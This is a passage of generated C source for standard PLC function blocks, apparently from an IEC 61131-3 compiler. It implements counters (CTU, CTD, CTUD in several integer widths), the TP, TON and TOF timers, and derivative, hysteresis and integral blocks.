__GET_VAR(data__->PV,)))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) + 1));\n};\n__SET_VAR(data__->,Q,,(__GET_VAR(data__->CV,) >= __GET_VAR(data__->PV,)));\n\ngoto __end;\n\n__end:\n return;\n} // CTU_DINT_body__() \n\n\n\n\n\nstatic void CTU_LINT_init__(CTU_LINT *data__, BOOL retain) {\n __INIT_VAR(data__->CU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->R,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CU_T,retain);\n}\n\n// Code part\nstatic void CTU_LINT_body__(CTU_LINT *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CU_T.,CLK,,__GET_VAR(data__->CU,));\nR_TRIG_body__(&data__->CU_T);\nif (__GET_VAR(data__->R,)) {\n __SET_VAR(data__->,CV,,0);\n} else if ((__GET_VAR(data__->CU_T.Q,) && (__GET_VAR(data__->CV,) < __GET_VAR(data__->PV,)))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) + 1));\n};\n__SET_VAR(data__->,Q,,(__GET_VAR(data__->CV,) >= __GET_VAR(data__->PV,)));\n\ngoto __end;\n\n__end:\n return;\n} // CTU_LINT_body__() \n\n\n\n\n\nstatic void CTU_UDINT_init__(CTU_UDINT *data__, BOOL retain) {\n __INIT_VAR(data__->CU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->R,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CU_T,retain);\n}\n\n// Code part\nstatic void CTU_UDINT_body__(CTU_UDINT *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CU_T.,CLK,,__GET_VAR(data__->CU,));\nR_TRIG_body__(&data__->CU_T);\nif (__GET_VAR(data__->R,)) {\n __SET_VAR(data__->,CV,,0);\n} else if ((__GET_VAR(data__->CU_T.Q,) && (__GET_VAR(data__->CV,) < __GET_VAR(data__->PV,)))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) + 1));\n};\n__SET_VAR(data__->,Q,,(__GET_VAR(data__->CV,) >= __GET_VAR(data__->PV,)));\n\ngoto __end;\n\n__end:\n return;\n} // CTU_UDINT_body__() \n\n\n\n\n\nstatic void CTU_ULINT_init__(CTU_ULINT *data__, BOOL retain) {\n __INIT_VAR(data__->CU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->R,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CU_T,retain);\n}\n\n// Code part\nstatic void CTU_ULINT_body__(CTU_ULINT *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CU_T.,CLK,,__GET_VAR(data__->CU,));\nR_TRIG_body__(&data__->CU_T);\nif (__GET_VAR(data__->R,)) {\n __SET_VAR(data__->,CV,,0);\n} else if ((__GET_VAR(data__->CU_T.Q,) && (__GET_VAR(data__->CV,) < __GET_VAR(data__->PV,)))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) + 1));\n};\n__SET_VAR(data__->,Q,,(__GET_VAR(data__->CV,) >= __GET_VAR(data__->PV,)));\n\ngoto __end;\n\n__end:\n return;\n} // CTU_ULINT_body__() \n\n\n\n\n\nstatic void CTD_init__(CTD *data__, BOOL retain) {\n __INIT_VAR(data__->CD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->LD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CD_T,retain);\n}\n\n// Code part\nstatic void CTD_body__(CTD *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CD_T.,CLK,,__GET_VAR(data__->CD,));\nR_TRIG_body__(&data__->CD_T);\nif (__GET_VAR(data__->LD,)) {\n __SET_VAR(data__->,CV,,__GET_VAR(data__->PV,));\n} else if ((__GET_VAR(data__->CD_T.Q,) && (__GET_VAR(data__->CV,) > 0))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) - 1));\n};\n__SET_VAR(data__->,Q,,(__GET_VAR(data__->CV,) <= 0));\n\ngoto __end;\n\n__end:\n return;\n} // CTD_body__() \n\n\n\n\n\nstatic void CTD_DINT_init__(CTD_DINT *data__, BOOL retain) {\n __INIT_VAR(data__->CD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->LD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CD_T,retain);\n}\n\n// Code part\nstatic void CTD_DINT_body__(CTD_DINT *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CD_T.,CLK,,__GET_VAR(data__->CD,));\nR_TRIG_body__(&data__->CD_T);\nif (__GET_VAR(data__->LD,)) {\n __SET_VAR(data__->,CV,,__GET_VAR(data__->PV,));\n} else if ((__GET_VAR(data__->CD_T.Q,) && (__GET_VAR(data__->CV,) > 0))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) - 1));\n};\n__SET_VAR(data__->,Q,,(__GET_VAR(data__->CV,) <= 0));\n\ngoto __end;\n\n__end:\n return;\n} // CTD_DINT_body__() \n\n\n\n\n\nstatic void CTD_LINT_init__(CTD_LINT *data__, BOOL retain) {\n __INIT_VAR(data__->CD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->LD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CD_T,retain);\n}\n\n// Code part\nstatic void CTD_LINT_body__(CTD_LINT *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CD_T.,CLK,,__GET_VAR(data__->CD,));\nR_TRIG_body__(&data__->CD_T);\nif (__GET_VAR(data__->LD,)) {\n __SET_VAR(data__->,CV,,__GET_VAR(data__->PV,));\n} else if ((__GET_VAR(data__->CD_T.Q,) && (__GET_VAR(data__->CV,) > 0))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) - 1));\n};\n__SET_VAR(data__->,Q,,(__GET_VAR(data__->CV,) <= 0));\n\ngoto __end;\n\n__end:\n return;\n} // CTD_LINT_body__() \n\n\n\n\n\nstatic void CTD_UDINT_init__(CTD_UDINT *data__, BOOL retain) {\n __INIT_VAR(data__->CD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->LD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CD_T,retain);\n}\n\n// Code part\nstatic void CTD_UDINT_body__(CTD_UDINT *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CD_T.,CLK,,__GET_VAR(data__->CD,));\nR_TRIG_body__(&data__->CD_T);\nif (__GET_VAR(data__->LD,)) {\n __SET_VAR(data__->,CV,,__GET_VAR(data__->PV,));\n} else if ((__GET_VAR(data__->CD_T.Q,) && (__GET_VAR(data__->CV,) > 0))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) - 1));\n};\n__SET_VAR(data__->,Q,,(__GET_VAR(data__->CV,) <= 0));\n\ngoto __end;\n\n__end:\n return;\n} // CTD_UDINT_body__() \n\n\n\n\n\nstatic void CTD_ULINT_init__(CTD_ULINT *data__, BOOL retain) {\n __INIT_VAR(data__->CD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->LD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CD_T,retain);\n}\n\n// Code part\nstatic void CTD_ULINT_body__(CTD_ULINT *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CD_T.,CLK,,__GET_VAR(data__->CD,));\nR_TRIG_body__(&data__->CD_T);\nif (__GET_VAR(data__->LD,)) {\n __SET_VAR(data__->,CV,,__GET_VAR(data__->PV,));\n} else if ((__GET_VAR(data__->CD_T.Q,) && (__GET_VAR(data__->CV,) > 0))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) - 1));\n};\n__SET_VAR(data__->,Q,,(__GET_VAR(data__->CV,) <= 0));\n\ngoto __end;\n\n__end:\n return;\n} // CTD_ULINT_body__() \n\n\n\n\n\nstatic void CTUD_init__(CTUD *data__, BOOL retain) {\n __INIT_VAR(data__->CU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->R,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->LD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->QU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->QD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CD_T,retain);\n R_TRIG_init__(&data__->CU_T,retain);\n}\n\n// Code part\nstatic void CTUD_body__(CTUD *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CD_T.,CLK,,__GET_VAR(data__->CD,));\nR_TRIG_body__(&data__->CD_T);\n__SET_VAR(data__->CU_T.,CLK,,__GET_VAR(data__->CU,));\nR_TRIG_body__(&data__->CU_T);\nif (__GET_VAR(data__->R,)) {\n __SET_VAR(data__->,CV,,0);\n} else if (__GET_VAR(data__->LD,)) {\n __SET_VAR(data__->,CV,,__GET_VAR(data__->PV,));\n} else {\n if (!((__GET_VAR(data__->CU_T.Q,) && __GET_VAR(data__->CD_T.Q,)))) {\n if ((__GET_VAR(data__->CU_T.Q,) && (__GET_VAR(data__->CV,) < __GET_VAR(data__->PV,)))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) + 1));\n } else if ((__GET_VAR(data__->CD_T.Q,) && (__GET_VAR(data__->CV,) > 0))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) - 1));\n };\n };\n};\n__SET_VAR(data__->,QU,,(__GET_VAR(data__->CV,) >= __GET_VAR(data__->PV,)));\n__SET_VAR(data__->,QD,,(__GET_VAR(data__->CV,) <= 0));\n\ngoto __end;\n\n__end:\n return;\n} // CTUD_body__() \n\n\n\n\n\nstatic void CTUD_DINT_init__(CTUD_DINT *data__, BOOL retain) {\n __INIT_VAR(data__->CU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->R,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->LD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->QU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->QD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CD_T,retain);\n R_TRIG_init__(&data__->CU_T,retain);\n}\n\n// Code part\nstatic void CTUD_DINT_body__(CTUD_DINT *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CD_T.,CLK,,__GET_VAR(data__->CD,));\nR_TRIG_body__(&data__->CD_T);\n__SET_VAR(data__->CU_T.,CLK,,__GET_VAR(data__->CU,));\nR_TRIG_body__(&data__->CU_T);\nif (__GET_VAR(data__->R,)) {\n __SET_VAR(data__->,CV,,0);\n} else if (__GET_VAR(data__->LD,)) {\n __SET_VAR(data__->,CV,,__GET_VAR(data__->PV,));\n} else {\n if (!((__GET_VAR(data__->CU_T.Q,) && __GET_VAR(data__->CD_T.Q,)))) {\n if ((__GET_VAR(data__->CU_T.Q,) && (__GET_VAR(data__->CV,) < __GET_VAR(data__->PV,)))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) + 1));\n } else if ((__GET_VAR(data__->CD_T.Q,) && (__GET_VAR(data__->CV,) > 0))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) - 1));\n };\n };\n};\n__SET_VAR(data__->,QU,,(__GET_VAR(data__->CV,) >= __GET_VAR(data__->PV,)));\n__SET_VAR(data__->,QD,,(__GET_VAR(data__->CV,) <= 0));\n\ngoto __end;\n\n__end:\n return;\n} // CTUD_DINT_body__() \n\n\n\n\n\nstatic void CTUD_LINT_init__(CTUD_LINT *data__, BOOL retain) {\n __INIT_VAR(data__->CU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->R,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->LD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->QU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->QD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CD_T,retain);\n R_TRIG_init__(&data__->CU_T,retain);\n}\n\n// Code part\nstatic void CTUD_LINT_body__(CTUD_LINT *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CD_T.,CLK,,__GET_VAR(data__->CD,));\nR_TRIG_body__(&data__->CD_T);\n__SET_VAR(data__->CU_T.,CLK,,__GET_VAR(data__->CU,));\nR_TRIG_body__(&data__->CU_T);\nif (__GET_VAR(data__->R,)) {\n __SET_VAR(data__->,CV,,0);\n} else if (__GET_VAR(data__->LD,)) {\n __SET_VAR(data__->,CV,,__GET_VAR(data__->PV,));\n} else {\n if (!((__GET_VAR(data__->CU_T.Q,) && __GET_VAR(data__->CD_T.Q,)))) {\n if ((__GET_VAR(data__->CU_T.Q,) && (__GET_VAR(data__->CV,) < __GET_VAR(data__->PV,)))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) + 1));\n } else if ((__GET_VAR(data__->CD_T.Q,) && (__GET_VAR(data__->CV,) > 0))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) - 1));\n };\n };\n};\n__SET_VAR(data__->,QU,,(__GET_VAR(data__->CV,) >= __GET_VAR(data__->PV,)));\n__SET_VAR(data__->,QD,,(__GET_VAR(data__->CV,) <= 0));\n\ngoto __end;\n\n__end:\n return;\n} // CTUD_LINT_body__() \n\n\n\n\n\nstatic void CTUD_UDINT_init__(CTUD_UDINT *data__, BOOL retain) {\n __INIT_VAR(data__->CU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->R,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->LD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->QU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->QD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CD_T,retain);\n R_TRIG_init__(&data__->CU_T,retain);\n}\n\n// Code part\nstatic void CTUD_UDINT_body__(CTUD_UDINT *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CD_T.,CLK,,__GET_VAR(data__->CD,));\nR_TRIG_body__(&data__->CD_T);\n__SET_VAR(data__->CU_T.,CLK,,__GET_VAR(data__->CU,));\nR_TRIG_body__(&data__->CU_T);\nif (__GET_VAR(data__->R,)) {\n __SET_VAR(data__->,CV,,0);\n} else if (__GET_VAR(data__->LD,)) {\n __SET_VAR(data__->,CV,,__GET_VAR(data__->PV,));\n} else {\n if (!((__GET_VAR(data__->CU_T.Q,) && __GET_VAR(data__->CD_T.Q,)))) {\n if ((__GET_VAR(data__->CU_T.Q,) && (__GET_VAR(data__->CV,) < __GET_VAR(data__->PV,)))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) + 1));\n } else if ((__GET_VAR(data__->CD_T.Q,) && (__GET_VAR(data__->CV,) > 0))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) - 1));\n };\n };\n};\n__SET_VAR(data__->,QU,,(__GET_VAR(data__->CV,) >= __GET_VAR(data__->PV,)));\n__SET_VAR(data__->,QD,,(__GET_VAR(data__->CV,) <= 0));\n\ngoto __end;\n\n__end:\n return;\n} // CTUD_UDINT_body__() \n\n\n\n\n\nstatic void CTUD_ULINT_init__(CTUD_ULINT *data__, BOOL retain) {\n __INIT_VAR(data__->CU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->R,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->LD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->QU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->QD,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CD_T,retain);\n R_TRIG_init__(&data__->CU_T,retain);\n}\n\n// Code part\nstatic void CTUD_ULINT_body__(CTUD_ULINT *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CD_T.,CLK,,__GET_VAR(data__->CD,));\nR_TRIG_body__(&data__->CD_T);\n__SET_VAR(data__->CU_T.,CLK,,__GET_VAR(data__->CU,));\nR_TRIG_body__(&data__->CU_T);\nif (__GET_VAR(data__->R,)) {\n __SET_VAR(data__->,CV,,0);\n} else if (__GET_VAR(data__->LD,)) {\n __SET_VAR(data__->,CV,,__GET_VAR(data__->PV,));\n} else {\n if (!((__GET_VAR(data__->CU_T.Q,) && __GET_VAR(data__->CD_T.Q,)))) {\n if ((__GET_VAR(data__->CU_T.Q,) && (__GET_VAR(data__->CV,) < __GET_VAR(data__->PV,)))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) + 1));\n } else if ((__GET_VAR(data__->CD_T.Q,) && (__GET_VAR(data__->CV,) > 0))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) - 1));\n };\n };\n};\n__SET_VAR(data__->,QU,,(__GET_VAR(data__->CV,) >= __GET_VAR(data__->PV,)));\n__SET_VAR(data__->,QD,,(__GET_VAR(data__->CV,) <= 0));\n\ngoto __end;\n\n__end:\n return;\n} // CTUD_ULINT_body__() \n\n\n\n\n\nstatic void TP_init__(TP *data__, BOOL retain) {\n __INIT_VAR(data__->IN,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PT,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->ET,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->STATE,0,retain)\n __INIT_VAR(data__->PREV_IN,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CURRENT_TIME,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->START_TIME,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n}\n\n// Code part\nstatic void TP_body__(TP *data__) {\n// Initialise TEMP variables\n\n#define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__)\n#define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val)\n__SET_VAR(data__->,CURRENT_TIME,,__CURRENT_TIME)\n#undef GetFbVar\n#undef SetFbVar\n;\nif ((((__GET_VAR(data__->STATE,) == 0) && !(__GET_VAR(data__->PREV_IN,))) && __GET_VAR(data__->IN,))) {\n __SET_VAR(data__->,STATE,,1);\n __SET_VAR(data__->,Q,,__BOOL_LITERAL(TRUE));\n __SET_VAR(data__->,START_TIME,,__GET_VAR(data__->CURRENT_TIME,));\n} else if ((__GET_VAR(data__->STATE,) == 1)) {\n if (LE_TIME(2, __time_add(__GET_VAR(data__->START_TIME,), __GET_VAR(data__->PT,)), __GET_VAR(data__->CURRENT_TIME,))) {\n __SET_VAR(data__->,STATE,,2);\n __SET_VAR(data__->,Q,,__BOOL_LITERAL(FALSE));\n __SET_VAR(data__->,ET,,__GET_VAR(data__->PT,));\n } else {\n __SET_VAR(data__->,ET,,__time_sub(__GET_VAR(data__->CURRENT_TIME,), __GET_VAR(data__->START_TIME,)));\n };\n};\nif (((__GET_VAR(data__->STATE,) == 2) && !(__GET_VAR(data__->IN,)))) {\n __SET_VAR(data__->,ET,,__time_to_timespec(1, 0, 0, 0, 0, 0));\n __SET_VAR(data__->,STATE,,0);\n};\n__SET_VAR(data__->,PREV_IN,,__GET_VAR(data__->IN,));\n\ngoto __end;\n\n__end:\n return;\n} // TP_body__() \n\n\n\n\n\nstatic void TON_init__(TON *data__, BOOL retain) {\n __INIT_VAR(data__->IN,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PT,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->ET,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->STATE,0,retain)\n __INIT_VAR(data__->PREV_IN,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CURRENT_TIME,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->START_TIME,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n}\n\n// Code part\nstatic void TON_body__(TON *data__) {\n// Initialise TEMP variables\n\n#define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__)\n#define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val)\n__SET_VAR(data__->,CURRENT_TIME,,__CURRENT_TIME)\n#undef GetFbVar\n#undef SetFbVar\n;\nif ((((__GET_VAR(data__->STATE,) == 0) && !(__GET_VAR(data__->PREV_IN,))) && __GET_VAR(data__->IN,))) {\n __SET_VAR(data__->,STATE,,1);\n __SET_VAR(data__->,Q,,__BOOL_LITERAL(FALSE));\n __SET_VAR(data__->,START_TIME,,__GET_VAR(data__->CURRENT_TIME,));\n} else {\n if (!(__GET_VAR(data__->IN,))) {\n __SET_VAR(data__->,ET,,__time_to_timespec(1, 0, 0, 0, 0, 0));\n __SET_VAR(data__->,Q,,__BOOL_LITERAL(FALSE));\n __SET_VAR(data__->,STATE,,0);\n } else if ((__GET_VAR(data__->STATE,) == 1)) {\n if (LE_TIME(2, __time_add(__GET_VAR(data__->START_TIME,), __GET_VAR(data__->PT,)), __GET_VAR(data__->CURRENT_TIME,))) {\n __SET_VAR(data__->,STATE,,2);\n __SET_VAR(data__->,Q,,__BOOL_LITERAL(TRUE));\n __SET_VAR(data__->,ET,,__GET_VAR(data__->PT,));\n } else {\n __SET_VAR(data__->,ET,,__time_sub(__GET_VAR(data__->CURRENT_TIME,), __GET_VAR(data__->START_TIME,)));\n };\n };\n};\n__SET_VAR(data__->,PREV_IN,,__GET_VAR(data__->IN,));\n\ngoto __end;\n\n__end:\n return;\n} // TON_body__() \n\n\n\n\n\nstatic void TOF_init__(TOF *data__, BOOL retain) {\n __INIT_VAR(data__->IN,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PT,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->ET,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->STATE,0,retain)\n __INIT_VAR(data__->PREV_IN,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CURRENT_TIME,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->START_TIME,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n}\n\n// Code part\nstatic void TOF_body__(TOF *data__) {\n// Initialise TEMP variables\n\n#define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__)\n#define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val)\n__SET_VAR(data__->,CURRENT_TIME,,__CURRENT_TIME)\n#undef GetFbVar\n#undef SetFbVar\n;\nif ((((__GET_VAR(data__->STATE,) == 0) && __GET_VAR(data__->PREV_IN,)) && !(__GET_VAR(data__->IN,)))) {\n __SET_VAR(data__->,STATE,,1);\n __SET_VAR(data__->,START_TIME,,__GET_VAR(data__->CURRENT_TIME,));\n} else {\n if (__GET_VAR(data__->IN,)) {\n __SET_VAR(data__->,ET,,__time_to_timespec(1, 0, 0, 0, 0, 0));\n __SET_VAR(data__->,STATE,,0);\n } else if ((__GET_VAR(data__->STATE,) == 1)) {\n if (LE_TIME(2, __time_add(__GET_VAR(data__->START_TIME,), __GET_VAR(data__->PT,)), __GET_VAR(data__->CURRENT_TIME,))) {\n __SET_VAR(data__->,STATE,,2);\n __SET_VAR(data__->,ET,,__GET_VAR(data__->PT,));\n } else {\n __SET_VAR(data__->,ET,,__time_sub(__GET_VAR(data__->CURRENT_TIME,), __GET_VAR(data__->START_TIME,)));\n };\n };\n};\n__SET_VAR(data__->,Q,,(__GET_VAR(data__->IN,) || (__GET_VAR(data__->STATE,) == 1)));\n__SET_VAR(data__->,PREV_IN,,__GET_VAR(data__->IN,));\n\ngoto __end;\n\n__end:\n return;\n} // TOF_body__() \n\n\n\n\n\nstatic void DERIVATIVE_init__(DERIVATIVE *data__, BOOL retain) {\n __INIT_VAR(data__->RUN,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->XIN,0,retain)\n __INIT_VAR(data__->CYCLE,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->XOUT,0,retain)\n __INIT_VAR(data__->X1,0,retain)\n __INIT_VAR(data__->X2,0,retain)\n __INIT_VAR(data__->X3,0,retain)\n}\n\n// Code part\nstatic void DERIVATIVE_body__(DERIVATIVE *data__) {\n// Initialise TEMP variables\n\nif (__GET_VAR(data__->RUN,)) {\n __SET_VAR(data__->,XOUT,,((((3.0 * (__GET_VAR(data__->XIN,) - __GET_VAR(data__->X3,))) + __GET_VAR(data__->X1,)) - __GET_VAR(data__->X2,)) / (10.0 * TIME_TO_REAL((TIME)__GET_VAR(data__->CYCLE,)))));\n __SET_VAR(data__->,X3,,__GET_VAR(data__->X2,));\n __SET_VAR(data__->,X2,,__GET_VAR(data__->X1,));\n __SET_VAR(data__->,X1,,__GET_VAR(data__->XIN,));\n} else {\n __SET_VAR(data__->,XOUT,,0.0);\n __SET_VAR(data__->,X1,,__GET_VAR(data__->XIN,));\n __SET_VAR(data__->,X2,,__GET_VAR(data__->XIN,));\n __SET_VAR(data__->,X3,,__GET_VAR(data__->XIN,));\n};\n\ngoto __end;\n\n__end:\n return;\n} // DERIVATIVE_body__() \n\n\n\n\n\nstatic void HYSTERESIS_init__(HYSTERESIS *data__, BOOL retain) {\n __INIT_VAR(data__->XIN1,0,retain)\n __INIT_VAR(data__->XIN2,0,retain)\n __INIT_VAR(data__->EPS,0,retain)\n __INIT_VAR(data__->Q,0,retain)\n}\n\n// Code part\nstatic void HYSTERESIS_body__(HYSTERESIS *data__) {\n// Initialise TEMP variables\n\nif (__GET_VAR(data__->Q,)) {\n if ((__GET_VAR(data__->XIN1,) < (__GET_VAR(data__->XIN2,) - __GET_VAR(data__->EPS,)))) {\n __SET_VAR(data__->,Q,,0);\n };\n} else if ((__GET_VAR(data__->XIN1,) > (__GET_VAR(data__->XIN2,) + __GET_VAR(data__->EPS,)))) {\n __SET_VAR(data__->,Q,,1);\n};\n\ngoto __end;\n\n__end:\n return;\n} // HYSTERESIS_body__() \n\n\n\n\n\nstatic void INTEGRAL_init__(INTEGRAL *data__, BOOL retain) {\n __INIT_VAR(data__->RUN,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->R1,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->XIN,0,retain)\n __INIT_VAR(data__->X0,0,retain)\n __INIT_VAR(data__->CYCLE,__time_to_timespec(1, 0, 0, 0, 0, 0),retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->XOUT,0,retain)\n}\n\n// Code part\nstatic void INTEGRAL_body__(INTEGRAL *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->,Q,,!(__GET_VAR(data__->R1,)));\nif (__GET_VAR(data__->R1,)) {\n __SET_VAR(data__->,XOUT,,__GET_VAR(data__->X0,));\n} else if (__GET_VAR(data__->RUN,)) {\n __SET_VAR(data__->,XOUT,,(__GET_VAR(data__->XOUT,) + (__GET_VAR(data__->XIN,) * TIME_TO_REAL((TIME)__GET_VAR(data__->CYCLE,)))));\n};\n\ngoto __end;\n\n__end:\n return;\n} // INTEGRAL_body__() \n\n\n\n\n\nstatic void PID_init__(PID *data__, BOOL retain) 